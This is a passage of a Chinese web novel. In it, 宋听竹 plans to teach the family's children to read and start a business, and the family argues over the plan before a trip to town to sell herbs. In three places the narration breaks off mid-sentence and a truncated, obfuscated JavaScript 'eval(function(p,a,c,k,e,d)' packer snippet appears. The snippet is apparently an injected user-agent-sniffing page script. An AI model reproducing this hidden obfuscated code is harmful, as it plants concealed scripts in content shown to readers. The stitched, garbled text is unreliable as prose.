村子里就没见哪家丫头、小哥儿识字的，将来寻夫家也不看这个，趁着还小头脑活泛，把针线活儿练好才是正经。” “也不是要考取功名，能看得懂契书，理得清账本就够了。” “哟，咱们如意将来要开铺子瞧账本了？”阮有银媳妇儿唐冬雪，端着茶水进门，听见这话笑着调侃。 小如意听不懂娘亲的话，却是个爱接话茬的，闻言扬起脑袋，脆生生道：“瞧账本！” “还瞧账本呢，瞧你吃的，今早刚换的衣裳，这才几个时辰就看不出模样了。” 唐冬雪抱起女儿，“娘抱你回屋换身干净的。” 阮家没人把宋听竹的话放心上，乡下比不得府城，汉子能念得起书的都没几个，十里八乡识字的姑娘小哥儿，更是打着灯笼也难寻。 一家子说了两句玩笑话，便又聊起其他。 宋听竹却不打算结束，开口道：“过些日子我打算教小妹跟夏哥儿读书识字，我想着到时让锦宁跟文平来家里一起学，如意年纪太小，过几年再开蒙也不迟。” 这话一出，不止阮家，阮秀莲也同样满脸震惊。 最激动的莫过于当事人阮锦宁，小哥儿倏地站起身，又惊又喜：“嫂夫郎，你当真要教我识字？” 宋听竹点头，迎着几位长辈讶然的目光，将自己要做生意的事儿道出口。 “我和夫君打算做些营生，家里只有大哥跟夫君，人手上不够，日后摊子铺开少不得要两个舅舅帮忙，且这买卖需得会识字，我教会锦宁，再让锦宁回来教两个舅舅，若有不对的，待明川表弟休沐回来，还可以帮着纠正。” 李春花见他模样认真，不似玩笑，也正色道：“竹哥儿可想清楚了，买卖可不是那么好做的，只是做些吃食到镇上卖无妨，想要做大买卖可得多思量思量，外婆我活了大半辈子，见过不少做买卖做到倾家荡产的，妻离子散也不在少数。” “外婆放心，不做好万全的准备，我跟夫君是不会轻易着手去做的。” “听竹哥儿这话，你跟虎子是已经有章程了。”一直未开口说话的阮老爷子，这时出了声。 见宋听竹点头，老爷子道：“年轻人有闯劲儿是好事，不管你跟虎子想做啥，尽管放手去做，只是得记住，万不能学那些混人，到赌坊、钱庄借印子钱。” “听竹记下了。” 唐冬雪给女儿换完衣裳，又进去灶房忙活开。 她同嫂子杨三妹说了方才在堂屋听见的话，杨三妹拎着锅铲，一脸惊愕。 “竹哥儿当真要教我家文平识字？” “千真万确，老爷子都答应了还能有假？” 杨三妹顿时喜不自胜，家里供明川堂弟一人念书已是不易，她想都没想过自家小子也能念上书，如今不用交银钱便能读书识字，这可是天上掉馅饼的大好事儿！ 杨三妹心里头高兴，手上锅铲挥得飞快，浑身使不完的劲儿。 唐冬雪也高兴，切着菜道：“竹哥儿说等如意大些，也要教如意认字呢。” “要我说爷奶他们多余担心，竹哥儿可是府城来的，是见过世面的，宋家还经营着那么大的铺子，竹哥儿打小就跟着看跟着学，啥事做不成？” “这话可千万别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们也都知道了，夏哥儿跟虎子想寻个营生做，老大家的你俩是咋想的？”阮秀莲抱着夏哥儿，问。 刘猛道：“我是没啥意见，只是家里银钱紧张，怕是拿不出那么些银子做买卖吧。” 宋听竹说道：“现下是不成，等手头攒些银两再往外铺摊子。” “那成，你跟虎子大胆去做，家里有我呢。” “成啥成。”唐春杏给自家男人一肘子。 夏哥儿在西院那头受了委屈，弟夫郎为了给自家哥儿讨说法，病倒好些时日，这事儿她心中自是感激，心甘情愿伺候小叔子，可做买卖是另一回事，赚了还好，赔了二弟家拿啥还，到时还不是要全家跟着一起帮忙还债。 她抱过昏昏欲睡的夏哥儿，略带不满地道：“家里拉下的饥荒已经够多了，弟夫郎又还在吃药，且眼看就要开始夏收农忙，家中本就男丁稀少，到时只我跟娘两个人哪能忙活得开。” “我跟夫君已经商量过了，最快也得入了季秋才着手去做，不会耽误农忙。” 唐春杏听后，心里越发没底。 啥营生要等那么久，别不是说来诓人的，哪家做买卖不是说做就做，咋就竹哥儿独特，还要等上大几个月。 刘小妹听闻嫂夫郎要做买卖，举双手赞成。 “嫂夫郎我支持你，我今儿去后山挖野菜，比照着你画的图挖了好些草药回来呢，待会儿你帮我瞧瞧有没有挖错的。” 夏哥儿也揉着眼睛，奶声奶气道：“夏哥儿也支持小叔么。” 刘大生闷声坐在一旁，等全家都表过态，这才开了口。 “我不同意。” 宋听竹有些错愕，前几日他便隐隐透露出要做买卖一事，当时爹什么都没说，他便当作是答应了，想着只要说服婆婆就好，谁料今日竟生了变故。 刘大生扶着膝盖，被日头晒得黝黑的面庞上，笼罩着一层阴霾。 “庄户人家做啥买卖，把家里田地侍弄好还愁吃喝？士农工商，虽说咱盛国看重商人，不限制商贾参加科举，可入了商籍，终究是低人一等，要我看不如你跟虎子生俩孩子，将来送去书院念书，也考个秀才、举人，不比做买卖强？” 宋听竹闻言垂下眸子。 他这身子怕是生不了孩子了。 阮秀莲见儿夫郎脸色发白，心道哪壶不开提哪壶，瞪了眼刘大生，没好气道：“说啥呢，咋就不能做买卖了，你那会子心气儿高，得罪人都不晓得，这才被人使阴招打折了腿，竹哥儿心思细密，又有虎子在旁护着，出不了岔子。” 刘大生板起脸道：“那也不如念书强，便是只考出个秀才，旁人也能高看咱一眼，买卖做得再大有啥用，见了身上有功名的，不照样点头哈腰、热脸往人家冷屁股上贴。” “咋就没用！”阮秀莲也来了脾气，陡然提高嗓门，“能让家里吃饱穿暖，夏时有银钱缴税，冬时有炭火取暖，人活一辈子不就图个吃喝不愁，像西院那头为了给玉书小子凑念书的银子，一大家子跟着吃糠咽菜，嘴里个把月不见荤腥，这样的日子还不晓得啥时候是个头儿呢！” “娘……”夏哥儿有些害怕地缩进唐春杏怀里。 阮秀莲瞧见面色稍霁，放缓了声音道：“也不是我偏向虎子跟竹哥儿，左右家里日子已经过成这样，不如做点买卖兴许还能改善一二，夏哥儿今年四岁，春杏儿你跟猛子来年怎么着也得再要个吧，到时别弄得连养孩子的银钱都掏不起。 当家的你也别太忧心，今儿回娘家，竹哥儿把我那两个弟弟也拉来入了伙，大牛跟二牛你是知道的，身强体壮的两汉子，再加上虎子，便是有那不长眼想来给咱使绊子，也得掂量掂量。” 刘大生坐在门槛上闷不吭声，唐春杏哄拍着夏哥儿，装作不在意地问：“那要是赔了咋整？” 宋听竹道：“嫂子放心，赔了算我跟虎子的，不会牵连到家里。” 唐春杏是个将喜怒都摆在明面上的，有宋听竹这句话，顿时什么顾虑都没了，偏还爱好面子，言不由衷道：“都是一家人，说这话就见外了。” “行了，这事儿就这么定下了。” 阮秀莲又说起另外一件事儿，“过几日竹哥儿要教小妹跟夏哥儿识字，到时宁哥儿领着文平到咱家跟着一起学。” “娘，这话当真？”唐春杏满脸不敢置信。 阮秀莲白了大儿媳一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不出两日山上的车前草便被采摘干净，刘小妹挎着空篮子回来，不止草药没挖成，脸上还多了几道抓痕。 24.逛莲溪镇 宋听竹见刘小妹脸上挂着伤，蹙起眉头关心道：“可是在外头受了欺负？” 刘小妹端起茶碗灌了半碗水，旋即一抹嘴巴：“没，钱霜儿伤得比我重多了。” 宋听竹闻言怔了下。 钱霜儿是小妹的好姐妹，不过自打前阵子钱家来家里要债后，两人便不再来往了，这几日小妹去山上挖野菜，也没叫上她，只喊了徐小满跟赵金珠二人。 小妹是个知礼懂分寸的，便是做不成朋友也断不会跟人动手，其中必有缘由。 宋听竹将手里浸过水的湿帕子递给她，追问道：“怎么会跟她打起来？” “因为她嘴巴不干净！”刘小妹捏着帕子气得牙痒痒，“我拿她当好姐妹，她却在背地里说咱家坏话，还当着我面说嫂夫郎的不是！” 说谁都行，就是不准说嫂夫郎，谁敢在她面前诋毁嫂夫郎，她就给谁挠个满脸开花！ 宋听竹哭笑不得，想不到事端的源头竟是自己。 他边帮小姑娘理顺弄乱的发丝，边温声说道：“明儿就不去山上采草药了，这时节能卖上价的草药还没长成，只采些车前草跟藜草也卖不上几个铜板，而且这两日大伙已经快把后山薅秃了吧？” 刘小妹垮下肩膀，一脸无精打采：“是啊，他们就是见不得咱好，分明不会处理，偏要跟风一起挖，山上都快被他们捅成马蜂窝了。” “后山是无主的，他们想去挖没道理拦着不让。”宋听竹将晒好的草药收拢成堆，“家里这些草药晒得差不多了，明日便到镇上卖了去，顺便四处逛逛，来到云溪村许久，还没去镇上瞧过呢。” 刘小妹听了弯起眉眼，“嫂夫郎我陪你一起！” 宋听竹牵起嘴角，道了声：“好。” 下午两个人将草药收整好，宋听竹便去杂间儿挑了几本书，打算用作教材，教几个孩子识字用。 刘小妹在一旁歪着脑袋，“嫂夫郎，我记得去外公家那天，你好像带了两本书出门的。” “是两本诗集，带给明川的，他在书院念书用得上。” 刘小妹点头，“表哥书念得好，来年院试定能考中秀才。” 宋听竹也期望阮明川能考中，家里有个有功名在身的，做起事儿来便不会那般束手束脚。 宋听竹取了纸笔默了两页《三字经》，从宋家带来的纸不多了，明日到镇上需得再买些回来，还有制酒曲用到的药材，也得留意着些，眼下虽还买不起，但可以先比对比对价钱。 辣蓼草山上便有，只是得等到过了芒种才能陆续采摘，马鞭草、紫苏叶还要更晚些。 他从书中得来的，制作酒曲的法子不全，需得经过验证得到各类草药的确切用量才成，制作酒曲需要用到药材跟粮食，光是做试验便要耗费不少银子。 明儿还得到镇上瞧瞧，可有合适自己的赚钱营生。 宋听竹垂眸思索着，刘小妹在一旁接连唤了他好几声才回过神。 夏哥儿也在跟前仰着脖子，一脸担忧地瞧着他。 宋听竹弯下腰，轻轻捏了捏小哥儿滑嫩白净的脸蛋。 “小叔么没事，方才只是在想事情。” 小家伙这才舒展眉心，小手背在身后，弯起眸子模样乖巧地问：“小姑说明天要去镇上，可以带夏哥儿一起去吗？夏哥儿会乖乖的，保证不乱跑。” 宋听竹牵起小家伙，笑着说道：“自然是要带上夏哥儿的，小叔么可不放心把你一人留在家中。” “好耶，去镇上玩喽～”夏哥儿亮着眸子，手舞足蹈。 刘家晚饭吃得简单，只煮了一锅能看清锅底的稀粥，就着辰时烙的饼子跟腌菜，喝了个肚圆。 宋听竹吃得也是这些，他身子好些后，便没再让家里给自己开小灶，除了偶尔冲碗红糖水解解嘴里苦味外，同刘家人吃得没甚区别。 “俺听人说刘玉书考上童生了。” 饭桌上，刘虎将在镇上听来的消息说给一家子听。 阮秀莲闻言，面上没有多大变化，掰着饼子道：“看着吧，明儿刘老婆子一准得来家显摆。” “明儿家里没人，奶找不见人，炫耀不成，指不定咋生气呢。”刘小妹咬着饼子，心中窃喜。 果不其然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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